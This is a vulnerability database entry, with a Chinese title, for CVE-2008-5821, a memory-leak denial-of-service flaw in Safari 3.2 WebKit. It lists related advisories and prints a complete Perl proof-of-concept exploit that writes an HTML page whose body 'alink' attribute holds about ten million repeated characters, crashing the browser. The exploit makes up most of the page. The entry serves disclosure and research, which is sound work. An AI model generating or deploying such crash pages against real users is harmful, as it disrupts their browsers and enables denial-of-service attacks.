Apple Safari WebKit alink属性内存泄露拒绝服务漏洞

🗓️ 05 Jan 2009 00:00:00Reported by RootType

Apple Safari WebKit alink属性内存泄露拒绝服务漏洞 exploitatio

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2008-5821	1 Jan 200900:00	–	circl
CVE	CVE-2008-5821	2 Jan 200919:00	–	cve
Cvelist	CVE-2008-5821	2 Jan 200919:00	–	cvelist
Exploit DB	Apple Safari 4.0.5 (531.22.7) - Denial of Service	26 Apr 201000:00	–	exploitdb
Exploit DB	Apple Safari 3.2 WebKit - 'alink' Property Memory Leak Remote Denial of Service (1)	1 Jan 200900:00	–	exploitdb
Exploit DB	Apple Safari 3.2 WebKit - 'alink' Property Memory Leak Remote Denial of Service (2)	1 Jan 200900:00	–	exploitdb
NVD	CVE-2008-5821	2 Jan 200919:30	–	nvd
OpenVAS	Apple Safari WebKit Property Memory Leak Remote DoS Vulnerability	13 Jan 200900:00	–	openvas
OpenVAS	Apple Safari WebKit Property Memory Leak Remote DoS Vulnerability	13 Jan 200900:00	–	openvas
Prion	Hardcoded credentials	2 Jan 200919:30	–	prion


                                                #!/usr/bin/perl
# safari_webkit_ml.pl
# Safari (Webkit) 3.2 Remote Memory Leak Exploit
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# Access violation when writing to [00000018]
# EIP 6B00A02B WebKit.6B00A02B
# LastError 00000008 ERROR_NOT_ENOUGH_MEMORY
# Memory leaks are common in browsers.. tested on Vista SP1
# Compliments of bf2

$filename = $ARGV[0];
if(!defined($filename))
{

     print &quot;Usage: $0 &lt;filename.html&gt;\n&quot;;

}

$head = &quot;&lt;html&gt;&quot; . &quot;\n&quot;;
$trig = &quot;&lt;body alink=\&quot;&quot; . &quot;A/&quot; x 10000000 . &quot;\&quot;&gt;&quot; . &quot;\n&quot;;
$foot = &quot;&lt;/html&gt;&quot;;

$data = $head . $trig . $foot;

     open(FILE, '&gt;' . $filename);
     print FILE $data;
     close(FILE);

exit;

05 Jan 2009 00:00Current

6.3Medium risk

Vulners AI Score6.3

EPSS0.03917

apple safari webkit alink属性内存泄露拒绝服务漏洞 exploitation memory leak 服务漏洞 remote access violation writing eip lasterror error_not_enough_memory memory leaks